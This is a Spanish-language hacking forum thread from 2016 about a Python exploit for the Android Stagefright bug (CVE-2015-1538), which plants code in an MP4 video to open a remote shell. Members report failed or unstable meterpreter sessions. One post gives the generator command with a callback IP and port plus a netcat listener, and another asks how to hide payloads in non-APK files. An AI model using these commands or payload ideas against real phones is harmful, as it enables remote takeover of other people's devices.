send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[cve-2015-1538-1] Exploit para android en python

  • 8 Respuestas
  • 3870 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 192
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« en: Marzo 31, 2016, 04:22:00 pm »
Es realmente interesante esta vulneravilidad de android que está basada en un bug del sofware multimeda que afecta de la versión 2.2 a la 5.1

You are not allowed to view links. Register or Login

Se envia el video en el formato ".mp4" y este contiene el codigo para explotar la vulneravilidad en android y aunque todavia no lo he utlizado me parecio muy interesante y si lo pruebo os comento que tal fué.
« Última modificación: Abril 04, 2016, 08:57:18 pm por Expermicid »

Desconectado Alanprogrammer

  • *
  • Underc0der
  • Mensajes: 8
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Zero-Day
    • Email
« Respuesta #1 en: Marzo 31, 2016, 05:27:57 pm »
Habia oido algo sobre ese bug ahorita lo veo se oye interesante :)
« Última modificación: Abril 04, 2016, 08:57:29 pm por Expermicid »

Conectado r4gnath0r

  • *
  • Underc0der
  • Mensajes: 82
  • Actividad:
    3.33%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Septiembre 25, 2016, 11:23:30 am »
¿Alguien lo ha probado ya?

Desconectado d0r127

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 1
  • Sin hocico y paranoico
    • Ver Perfil
« Respuesta #3 en: Octubre 03, 2016, 03:39:58 pm »
yo he llegado hasta aqui....vi el post y me parecio interesante..pero a la hora de ejecutar el script me daba errores...este video me ayudo a corregir ciertos errores que me daba al ejecutarlo
una vez consegui ejecutar el script segui los pasos, me genero el mp4 y al probarlo ese fue el resultado...no abre ninguna sesion






Desconectado d0r127

  • *
  • Underc0der
  • Mensajes: 117
  • Actividad:
    0%
  • Reputación 1
  • Sin hocico y paranoico
    • Ver Perfil
« Respuesta #4 en: Octubre 03, 2016, 04:38:54 pm »
yo he probado esto..consigo sesion pero se pierde a los pocos segundos..y a la hora de hacer un help en el meterpreter no aparecen opciones como sysinfo getuid shell etc...




el tio este lo hace desde el modulo ya cargado en metasploit pero yo no consigo cargar el modulo...lo intente haciendo esto

copie el script a la ruta donde estan los exploits y lo intente ejecutar desde la consola de metasploit pero me aparece como que no encuentra el script

video del tipo ejecutando el modulo en metasploit





Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 192
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« Respuesta #5 en: Octubre 04, 2016, 06:01:21 pm »
Yo probe con el 38164 y no funciona
Código: Bash
  1. mp4.py -c 192.168.0.168 -p 4444
Código: Bash
  1. netcat -l -p 4444

Yo tengo android 4.4.2 y no funciona supuestamente es para inferior a 5.0 y tambien probe con los demas exploit y nada

Desconectado ceroMee

  • *
  • Underc0der
  • Mensajes: 37
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
    • Email
« Respuesta #6 en: Octubre 04, 2016, 11:17:12 pm »
como que tiene muchos bugs ese exploit, o seran a proposito?

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 192
  • Actividad:
    1.67%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« Respuesta #7 en: Octubre 05, 2016, 09:51:24 am »
Quizas sea a proposito pero se cambia rapido, solo es sustituir unas pocas cosas pero creo que esos errores los parchean enseguida

Conectado r4gnath0r

  • *
  • Underc0der
  • Mensajes: 82
  • Actividad:
    3.33%
  • Reputación 0
    • Ver Perfil
« Respuesta #8 en: Octubre 28, 2016, 11:00:00 am »
Yo estoy intentando abrir una sesion meterpreter en un android, pero no se instala la aplicacion .apk. ¿Alguien sabe por que?

También estoy buscando como añadir el payload en otro archivo que no sea apk, como en el caso de este post, crea un archivo mp4.

 

¿Te gustó el post? COMPARTILO!



PythonLOIC - Nueva herramienta para ataques Ddos

Iniciado por ANTRAX

Respuestas: 17
Vistas: 6558
Último mensaje Septiembre 08, 2014, 05:38:01 pm
por Hexs
[APORTE] cat.py, herramienta para buscar panel administrativo web

Iniciado por k1llu4s3x

Respuestas: 0
Vistas: 301
Último mensaje Febrero 27, 2018, 12:06:26 am
por k1llu4s3x
Librería para parsear de forma correcta los mensajes del IRC

Iniciado por Polsaker

Respuestas: 0
Vistas: 893
Último mensaje Junio 03, 2015, 07:09:51 pm
por Polsaker
Desarrollando BOTs para Telegram - Parte 1

Iniciado por blackdrake

Respuestas: 0
Vistas: 723
Último mensaje Febrero 01, 2018, 05:17:37 pm
por blackdrake
Desarrollando BOTs para Telegram - Parte 2

Iniciado por blackdrake

Respuestas: 0
Vistas: 251
Último mensaje Abril 01, 2018, 07:09:48 am
por blackdrake